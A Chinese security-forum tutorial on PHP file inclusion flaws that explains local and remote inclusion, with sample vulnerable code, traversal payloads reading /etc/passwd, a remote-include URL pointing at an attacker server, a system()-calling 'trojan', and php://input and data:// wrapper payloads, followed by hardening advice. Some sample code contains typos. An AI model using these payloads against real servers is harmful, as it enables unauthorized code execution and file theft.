用户
搜索
  • TA的每日心情
    开心
    15 小时前
  • 签到天数: 350 天

    连续签到: 42 天

    [LV.8]以坛为家I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    15

    主题

    76

    帖子

    2793

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2019-11-4

    核心白帽春秋游侠白帽高手积极活跃奖春秋文阁

    发表于 2021-8-3 13:40:04 02670
    本帖最后由 和風 于 2021-8-3 14:04 编辑

    本篇文章作者和風,本篇文章参与i春秋作家连载计划所属和風,未经许可,禁止转载。连载方向:web安全,内网安全
    前言
    文件包含漏洞在平时笔者挖掘的比较少,条件也比较苛刻,在一些旧的站点或者是旧的系统上面可能会比较多这种漏洞,但是在平时做渗透测试的时候也要细心一点,去发现每一个敏感的参数。
    目录:
    一、记一次web渗透过程
    二、web渗透---SQL盲注漏洞
    三、XSS与CSRF的联合使用
    四、web渗透---文件包含漏洞
    五、web渗透---命令执行漏洞
    六、web渗透---报错注入漏洞
    文件包含概念
    文件包含指的是在php脚本中使用include或者require语句,将一个php文件内容插入到另一个php文件中(在服务器执行它之前,例如:<?php include su.txt; ?>)
    使用文件包含可以为开发人员省去大量的工作,开发人员在设计网站的时候所有的页面使用include或者require等语句将这些文件包含起来,当页面需要更新的时候,就只需要去相对应的包含文件中修改文件代码,就不需要对所以的页面进行改动。
    文件包含漏洞概述
    1.文件包含漏洞的主要原因是因为用户能够控制include函数的内容,例如<?php include($_GET[file]);?>,这样include函数内的内容采用GET请求,用户就可以通过GET请求向服务器发送file=../../这样的指令,从而造成目录遍历漏洞
    2.当使用了include、require等函数包含文件的时候,被包含的文件会被服务器当作PHP代码来执行,PHP的内核并不会在意该文件是什么类型,即使是图片也是可以被当作php代码来执行。所以黑客通常会将文件包含漏洞与上传结合在一起,上传内容带有php语句的图片,在通过文件包含漏洞包含该图片,达到执行php代码的目的,从而控制服务器。
    文件包含漏洞分类
    1.本地文件包含(Local File Inclusion,简称LFI),本地文件包含漏洞是能够打开并包含本地文件的漏洞
    例如下面代码,判断file是否在该本地路径下面,如果存在则可以执行本地文件包含(file=../../etc/passwd

    <?php
    $file=$_GET[‘file’];
    If(file_exists(‘PHPTutorial/WWW’,.$ile))
    {
    Include ‘PHPTutorial/WWW.$file’;
    }
    ?>

    2.远程文件包含(Remote File Inclusion,简称RFI),在本地包含的基础上,ini文件中的allow_url_include选项要为ON(默认为OFF),include/require函数就可以加载远程文件。
    例如下面代码,攻击者可以构造file=http://攻击者服务器地址//攻击文件

    <?php
    $Path=$_GET[‘path’];
    Require_once $Path;
    ?>

    本地文件包含复现
    这是文件包含漏洞,以file来传参,查找mima.txt的位置(file=../mima.txt),跳转到与mima.txt相同的路径下面,并且可以查看mima.txt的文件内容。


    远程文件包含复现
    服务器上PHP开启了配置选项allow_url_include,导致include/require可以加载远程的文件,从而构成了远程文件包含漏洞
    php.ini配置文件

    查看攻击机的ip地址,将攻击机路径下的木马上传上去

    下面为木马文件,将执行sysytem函数中的系统指令ipconfig

    <?php 
    system('ifconfig')
    ?>


    由于php内核的特性,浏览器将txt文件也翻译成了php文件,执行shell.txt文件中的代码

    利用php file://伪协议获取文件

    1.file://访问本地文件系统的封装协议,展现了本地文件系统
    2.当指定了一个相对路径提供的路径将基于当前的工作目录展示,当存在某个用户可控制的输入点的时候,可以尝试使用输入file://去获取本地磁盘文件

    利用伪协议file://C:/phpStudy/PHPTutorial/WWW/11/mima.txt(服务器的绝对路径来获取服务器中的文件)


    利用php伪协议和文件包含漏洞执行php命令

    1.远程文件包含漏洞能够执行攻击者自定义的php代码
    2.利用php伪协议可以使得本地文件包含也有机会执行自定义的php代码,让本地文件包含的利用更加具有危害性,伪协议有data://或者php://input
    3.?file=php://input,然后POST方式提交php代码(burp抓包在请求包中加入<?php php代码;?>)
    4.?file=data:text/plain,<?php php代码;?>

    用burp的代理拦截将file=php://input拦截下来,添加php代码以post的方式(http正文中)将php代码上传到服务器中


    file=data:text/plain,<?Php phpinfo();?>以get的方式(在url中)上传php代码

    总结
    对文件包含漏洞的防范建议

    1.关闭allow_url_include选项,PHP会通过Include/Require进行远程文件包含。
    2.在php代码中禁止0字节,防止攻击者截断攻击。
    3.PHP配置文件中有open_basedir选项,限制php仅能打开某个文件夹的文件,PHP仅仅在该目录内搜索文件。
    4.尽量不要使用动态包含,出现用户可控的参数,可以在需要包含的页面固定写好,如:include('su.php')

    剑未佩妥出门已是江湖
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册